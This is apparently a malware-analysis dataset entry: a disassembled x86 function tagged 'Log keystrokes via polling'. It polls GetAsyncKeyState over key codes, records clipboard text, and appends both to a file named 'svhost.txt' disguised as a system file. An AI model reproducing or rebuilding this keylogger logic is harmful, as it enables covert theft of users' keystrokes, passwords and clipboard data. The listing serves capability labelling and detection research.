Function at 0x402220
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1c4
lea eax, [ebp - 0x52]
mov dword [ebp - 0x14], eax
nop
nop
lea eax, [ebp - 0x6c]
lea edx, [ebp - 0x52]
mov dword [esp + 4], edx
mov dword [esp], str.svhost.txt
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x52]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea eax, [ebp - 0x84]
mov ecx, eax
call fcn.0049df00
lea eax, [ebp - 0x51]
mov dword [ebp - 0x18], eax
nop
nop
lea eax, [ebp - 0x9c]
lea edx, [ebp - 0x51]
mov dword [esp + 4], edx
mov dword [esp], 0x4bc044
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x51]
mov ecx, eax
call method.std::__new_allocator_char_.__new_allocator__
nop
call sym.GetIdleTime__
cmp eax, 0x927bf
setbe al
test al, al
je 0x402469
mov dword [ebp - 0xc], 8
jmp 0x402379
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
cmp ax, 0x8001
sete al
test al, al
je 0x402375
lea eax, [ebp - 0x1ac]
mov ecx, eax
call fcn.0048bc20
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], 1
lea edx, [ebp - 0x6c]
mov dword [esp], edx
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
sub esp, 8
mov dword [esp], 0x10
mov eax, dword [sym.imp.USER32.dll_GetAsyncKeyState]
call eax
sub esp, 4
shr ax, 0xf
mov byte [ebp - 0xd], al
movzx edx, byte [ebp - 0xd]
lea eax, [ebp - 0xb4]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.getKeyName_abi:cxx11__int__bool_
lea eax, [ebp - 0xb4]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1ac]
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
lea eax, [ebp - 0x1ac]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea eax, [ebp - 0xb4]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x1ac]
mov ecx, eax
call fcn.0048c150
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0xde
jle 0x4022b7
lea eax, [ebp - 0x50]
mov dword [esp], eax
call sym.getClipboardText_abi:cxx11___
lea eax, [ebp - 0x84]
lea edx, [ebp - 0x50]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
sub esp, 4
lea eax, [ebp - 0x50]
mov ecx, eax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea eax, [ebp - 0x9c]
mov dword [esp + 4], eax
lea eax, [ebp - 0x84]
mov dword [esp], eax
call method.bool_std::operator__char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
test al, al
je 0x40248e
lea eax, [ebp - 0x1ac]
mov ecx, eax
call fcn.0048bc20
lea eax, [ebp - 0x1ac]
mov dword [esp + 4], 1
lea edx, [ebp - 0x6c]
mov dword [esp], edx
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.open_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
sub esp, 8
mov dword [esp + 4], str._CLIPBOARD_
lea eax, [ebp - 0x1ac]
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
lea edx, [ebp - 0x84]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov dword [esp + 4], 0xa
mov dword [esp], eax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_
lea eax, [ebp - 0x1ac]
mov ecx, eax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
lea eax, [ebp - 0x9c]
lea edx, [ebp - 0x84]
mov dword [esp], edx
mov ecx, eax
call fcn.0049ea00
sub esp, 4
lea eax, [ebp - 0x1ac]
mov ecx, eax
call fcn.0048c150
jmp 0x40248e
mov dword [ebp - 0x2c], 1
lea eax, [ebp - 0x38]
lea edx, [ebp - 0x2c]
mov dword [esp], edx
mov ecx, eax
call method.std::chrono::duration_long_long__std::ratio_1ll__1ll___.duration_int__void__int_const_
sub esp, 4
lea eax, [ebp - 0x38]
mov dword [esp], eax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1ll____std::chrono::duration_long_long__std::ratio_1ll__1ll____const_
mov dword [ebp - 0x1c], 0xa
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x1c]
mov dword [esp], edx
mov ecx, eax
call method.std::chrono::duration_long_long__std::ratio_1ll__1000ll___.duration_int__void__int_const_
sub esp, 4
lea eax, [ebp - 0x28]
mov dword [esp], eax
call method.void_std::this_thread::sleep_for_long_long__std.ratio_1ll__1000ll____std::chrono::duration_long_long__std::ratio_1ll__1000ll____const_
jmp 0x402296